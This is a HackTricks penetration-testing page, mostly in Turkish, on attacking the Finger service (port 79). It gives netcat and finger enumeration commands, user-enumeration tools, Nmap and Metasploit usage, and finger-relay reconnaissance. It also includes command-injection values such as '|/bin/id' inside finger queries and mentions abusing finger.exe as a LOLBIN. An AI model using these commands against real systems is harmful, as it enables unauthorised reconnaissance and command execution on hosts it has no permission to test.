79 - Pentesting Finger

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

The Finger program/service bilgisayar kullanıcıları hakkında bilgi almak için kullanılır. Genellikle sağlanan bilgiler arasında kullanıcının giriş adı, tam adı ve bazı durumlarda ek ayrıntılar bulunur. Bu ek ayrıntılar ofis konumu ve telefon numarası (varsa), kullanıcının giriş yaptığı zaman, boşta kalma süresi (idle time), kullanıcının en son e-postayı okuduğu zaman ve kullanıcının .plan ve .project dosyalarının içeriği gibi bilgiler olabilir.

Pentesting açısından, Finger hâlâ ilgi çekicidir çünkü protokol son derece küçüktür, insan tarafından okunabilir ve genellikle legacy parsing logic ile uygulanır. Bir daemon şu bilgileri açığa çıkarabilir:

  • currently logged-in users
  • full names / GECOS data
  • home directories, shells, last login times, and TTYs
  • .plan / .project contents
  • relay behaviour to query a second host through the first one

Varsayılan port: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeration

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

Protokol ASCII over TCP/79 olup, genellikle CRLF ile sonlandırılır ve yanıtın ardından sunucu TCP bağlantısını kapatır. Pratikte mevcut kullanıcı listesini almak için genellikle boş bir sorgu (\r\n) yeterlidir; bu, Nmap’in varsayılan finger NSE scriptinin de yaptığıdır.

Kullanıcı enumerasyonu

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

Alternatif olarak pentestmonkey sitesinden finger-user-enum’i kullanabilirsiniz, bazı örnekler:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Finger enumeration ile ilgili önemli nüans, daemon’lar arasında katı bir yanıt formatı yok olmasıdır. finger-user-enum gibi araçlar Solaris-style hizmetlere karşı iyi çalışır çünkü geçerli ve geçersiz kullanıcılar farklı metin düzenleri üretir, ancak hedef daemon alışılmadık ise pozitif ve negatif yanıtları manuel olarak karşılaştırmanız ve regexes’i uyarlamanız gerekebilir.

Daemon varsayılan Solaris/BSD gibi davranmadığında kullanışlı probes:

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap ile default scripts kullanarak bir script çalıştırma

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

Nmap’s finger NSE script güvenlidir ve mevcut kullanıcı listesini almak için basitçe bir null query gönderir. Eğer permissive daemons’a karşı daha geniş username tahmini yapmak istiyorsanız, yaklaşımı özel wordlists ile genişletmeyi ya da tek bir istekte birden fazla muhtemel hesap adı gönderen ve username/GECOS eşleşmelerini arayan fat-finger.nse gibi projeleri kullanmayı düşünebilirsiniz.

Metasploit, Nmap’ten daha fazla hile kullanır

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Komut yürütme

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

RFC 1288, Finger sorgusuna yanıt olarak kullanıcı kontrollü bir program çalıştırılmasına açıkça izin verir; klasik |/bin/... suistimali buradan kaynaklanır. Bu bugün nadirdir, ancak özel veya eski bir daemon bulursanız, dikkatlice test edin:

  • kullanıcı adı işleme sırasında shell meta karakterleri
  • plan/proje hook’larında |program çalıştırılması
  • kullanıcı adını bir shell betiğine veya CGI’ya ileten backend wrapper’ları

Ayrıca Windows’taki client-side suistimal yolunu unutmayın: finger.exe imzalı bir LOLBIN’dir ve uzak bir Finger sunucusundan TCP/79 üzerinden rastgele metin alabilir, sonra bu çıktıyı başka bir sürece yönlendirebilir. Bu teknik post-exploitation için service enumeration’dan daha alakalıdır, bu yüzden shell taşıma fikri için the Linux reverse-shell page sayfasına bakın ve saldırgan tradecraft’ını taklit ederken bunu aklınızda tutun.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

Bu sadece bir uygulama tuhaflığı değil: RFC 1288 özyinelemeli @hostname yönlendirmesini ({Q2} sorguları) tanımlar. Eğer daemon relaying’i destekliyorsa, ara sunucu sizin için ikinci Finger bağlantısını açar ve yanıtı orijinal soket üzerinden geri iletir. Bu şu anlama gelir:

  • hostunuz doğrudan son hedefe bağlanmayabilir
  • relay, açık bir Finger servisinden enumerate internal users yapmak için kullanılabilir
  • finger-user-enum bunu yerel olarak -r <relay> ile destekler

Örnek:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Relaying işe yarıyorsa, bunu bir internal recon primitive olarak kullanın ve relayed output’u public daemon’ın doğrudan çıktısıyla karşılaştırın. Farklı formatlama veya filtreleme genellikle relay path’in ayrı bir backend veya wrapper tarafından mı işlendiğini ortaya çıkarır.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin